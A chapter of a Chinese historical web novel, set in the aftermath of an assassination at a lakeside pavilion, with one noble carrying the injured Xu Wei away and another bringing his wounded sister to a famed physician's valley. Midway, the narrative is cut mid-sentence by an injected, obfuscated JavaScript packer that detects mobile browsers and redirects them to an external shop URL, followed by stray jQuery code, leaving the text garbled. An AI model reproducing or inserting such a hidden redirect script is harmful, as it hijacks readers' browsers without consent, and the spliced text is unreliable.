桓俭一行人护送几名伤员去往神医谷后,萧迦叶向赶来“增援”的中护将军康宁解释了此间情形,并让中护军协助追捕逃脱的几名刺客,自己和苏祈带着手下将士、缦阁守卫一起打着灯笼,四处打捞落水的人。
离琴台最近的一处阁楼上,容珩步履从容来到窗边,就地坐下,将琴摆在窗台上,对着湖心拨动琴弦。
琴声一缕一缕,婉转低回,似湖心水波,循环复沓,无始无终,使人如登高阁,如临深渊,刹那闹市,须臾天边,观古今,抚四海,而后坐忘天地,无人无我,无是无非。
湖边的苏祈听出了琴声的异常,转头看向萧迦叶,后者望着湖心的方向说道:“无妨。”苏祈环顾四周,点了一下萧家将士的人头,心下暗道:也是,要救的人救了,要劫的人也劫了,就算所有人都醒过来也不碍事。
一曲《须臾调》奏毕,容珩双手轻按琴弦。
整个镜湖静默无声,连沉睡的鸟儿都隐却了呼吸,风和顺无声融入空气中,垂柳望着水中的倒影忘记了时间的流逝。
容珩起身,一手抱琴,转身离去。
湖岸莲舟上、看台上昏迷了半晚的人们逐渐苏醒,从一开始的头痛欲裂,到乍然醒转后的恍若隔世,再到猛然看见河边一条死相惨烈的巨蟒和满地残尸的惊恐万状......不少人被再度吓晕,最终是被自家侍从给背出了缦阁。
容珩自缦阁正门走出,街道两边站满着手举火把的官兵,不少世家的护卫、侍从闻讯而来,挤在缦阁大门外。
门边为首的将领向他低头行礼,容珩视而不见,直直走向了容家装潢华贵的四骑马车。
身后的官兵们窃窃私语,“都说乐府令为人清高,今日一见,果然目中无人。”
“你懂什么?容家是什么门第你难道不知?容大公子又是容家这一辈里最出色的人物,整个金陵有几人入得了他的眼。”
“呵,也是,我们这些无权无势的兵家子在权贵眼中算得了什么。”
“对对对。”一个偷偷嚼青豆的士兵凑过来说道,“就是做小兵啊,咱们都比不得萧家的小兵有前途。”
门口的将领一记眼风扫过来,几人立即缝上了嘴,乖乖呆在原地举着火把。
容珩款款步上马车,掀开车帘,动作轻缓得像怕惊扰了什么似的,侧身坐进了车里。沿路眼尖的官兵只道乐府令果然不负盛名,举手投足,优美无端,宛若仙人,看着都叫人醒瞌睡。
车轮缓缓滚动,马车行驶平稳。
车内,容珩将一身黑衣、面色惨白的许蔚抱在怀中,以免她被马车震到。
许蔚眉头紧锁,忍耐着身上的剧痛,额头上的汗珠一滴滴滚落下来。容珩往案上的青瓷莲叶杯里倒满清水,拿一块细软棉布在杯中沾湿,单手拧干水,抚上许蔚的额头细细擦拭。
一阵一阵的清凉,好似减轻了许蔚的疼痛,至少转移了她的注意力,让她可以睁开眼,看一看这个自己痴心已久的人。
“方才给你服下的五石散,应可缓解一些痛楚。”容珩见她醒来,便和她说话,声线依旧冷清,语气却比平日温和许多。
“再等一会儿......一会儿就好了。”他目光没有在她的脸上停留太久,而是专心地为她擦汗,从额头到脸颊,再到下颌、脖颈。
擦试完,容珩将棉布放回案上,刚才的《须臾调》耗费他太多精力,此刻得不得阖上双眼,静坐养神。
许蔚知道,这已经是他愿意给她最多的温柔了。她心中冷笑,又无奈,五石散在发挥作用,蛇毒和肋骨断裂带来的痛感逐渐消退,她有些昏昏欲睡,最后将脸埋进他的臂弯,嗅着他身上的清香睡去。她相信,等待她的是好梦一场。
神医柳无方,因早年欠萧家一个大人情,答应了做萧家的军医,平日不随军出征不云游四海的时候,就住在金陵城西栖霞山下的神医谷。
这神医谷,原名叫生烟谷,位于栖霞山东侧。因天时地利,每逢晴日,早晚便有缕缕岫烟自谷中冒出,草木朦胧,似云蒸霞蔚,宛若仙境。
早年相传此地有神仙出没,方见此奇观,后萧家建府于栖霞山下,又请了大魏第一神医柳无方隐居此地,人们便更加确信这是神仙居所,故改名“神医谷”。
这夜丑时,桓俭等人护送桓清与、宗元、絮儿来到神医谷。
谷口的药童见是和柳无方相熟的桓俭亲自上门,快步赶来迎接,一面将一行人带往谷中诊室,一面传信请师兄弟们务必将柳无方从卧室里拖出来。
进到谷中,柳无方只瞧了一眼宗元和絮儿,就将两人塞给两名大弟子诊治。
剩下桓清与躺在竹榻上,柳无方披着一件满是药渍的灰色袍子绕竹榻走了一圈,把了脉,看了伤口,笑道:“这丫头不简单嘛,寻常人中了这赤练蛇毒,当即丧命,就是大罗神仙也救不回来。”
“还请先生告知,此毒能不能解,若能解,如何解?”桓俭长身一揖,语气恭敬而坚决。
柳无方捋了捋颌下虚无缥缈的几根短须,看着桓俭这么紧张的模样,也没了卖关子的兴致,坦白道:“能解。”
在桓俭开口追问前,柳无方又抢先说道:“至于怎么解,我得观察一晚看看。”
他再次探上桓清与的脉象,眉头紧锁,连连摇头,心道这脉象也太过强劲,按伤情看明明是中了蛇毒,眼下这心脉稳健,面色红润,四肢温热的症状实在异常,细想来还有些眼熟?
柳无方继续摇头,从墙壁上的方格内取出药瓶,给桓清与服下一颗安神静气的药丸,便大摇大摆地出了诊室。
桓俭看着他的背影,最终没有跟上去追问什么,转身请其他药童送些热水过来,好让他给桓清与洗净面容。
柳无方似有些不服气,后退几步,回到房内,凑到桓俭跟前问道:“桓庭檐你怎么来不追着问我话??”
靠在病房外,被神医勒令不得入内的慕容隽听着这话有点耳熟,真像是......
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920841|186752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他才会说的话,这个破破烂烂、吊儿郎当的神医怎么也这么缠人呢?
“迦叶说过,柳神医不想说的话,没人能打听出来;但你想说的话,也怎么都憋不住。”桓俭温和有礼地回答道,随后转身接过药童端来的热水和干净麻布,道了声谢,再动作利落得将麻布打湿拧干、再折平,在桓清与额头上轻轻擦拭着。
柳无方冷哼一声,千防万防家贼难防,他当初就不该收萧迦叶那个孽徒!他冷眼看着桓庭檐这么宝贝他那个妹妹,忽然心生一计,笑道:“你和那么多军医、江湖游医打过交道,应该也看出来她脉象怪异了吧?”
桓俭缓缓抬头,目光十分诚恳地邀请他继续说下去。
柳无方很满意他的反应,仿佛大吃一惊地问道:“难道这位桓家小姐身上的秘密,从来都没有告诉过你这个当哥哥的?”
桓俭的神色浮现出一丝茫然。是的,他并未听说过桓清与的体质有何秘辛。
柳无方诡计得逞地笑了笑,双手抱胸,扬长而去。
桓俭望着他的背影,若有所思,而后只笑着摇了摇头,继续专心致志地为桓清与擦洗染了血污泥渍的脸庞和双手。
萧迦叶带领着将士和缦阁守卫在湖边搜救了一整晚,直到天光破晓的一刻,昨夜镜湖边所有的宾客都被疏散出缦阁,除了有点武功的年轻人是走着出去的,大多人或被扶着,或被抬着、架着离开。
缦阁西楼的屋顶被斩断,还砸破了半个西苑花园,各类奇花异草被碾成了花泥;主楼损坏虽小,但昨夜行刺发生后楼内乱作一团,宾客们急着出逃时打坏了不少东西。
至于镜湖一带,几乎被彻底摧毁。曾花费上百人力修建而成的琴台,只剩了几根木桩子;莲舟被打坏了几艘,湖中的珍品莲花被毁得不剩多少活株;看台砍破了两座,百年古柳劈坏了一棵,螣蛇尸身下那片染血的淤泥也得重新更换。
整片镜湖像一碗打翻了的百鲜烩,原本材料有多丰富多美味,此刻就有多脏乱。仅此一夜,繁华靡丽,过眼成空。这座名满天下的缦阁,恐怕也难逃被查封的命运。
苏祈在清点昨夜伤亡人数,另一批人在湖边正想法子处理那头巨蟒的尸体。缦阁的谢总管和财务总管荀白各带着一行人到处清点查看,核算昨夜一战遭受的损失。
“今日早朝恐怕会有人拿此事做文章,我先回府拟写奏章,这里交由你来主持。”萧迦叶望着沿湖边一路勘查的缦阁总管荀白,对身旁的苏祈说道。
“末将领命。”苏祈昨夜躲在缦阁楼内看了整晚的戏,就知道今早得遭点罪,“将军赶紧回去梳洗梳洗吧,苏祈就是个收拾烂摊子的,最适合留在这儿闻臭死蛇的味儿了。”
萧迦叶继续说道:“天亮后各路衙门会来争相接管缦阁。不管是谁的人、官衔有多大,没有陛下旨意,一概不理。等我回来处置。”
“是。”苏祁脑海中已经浮现那些难缠的嘴脸,他眼神呆了呆,待会儿可得打起精神应付呢。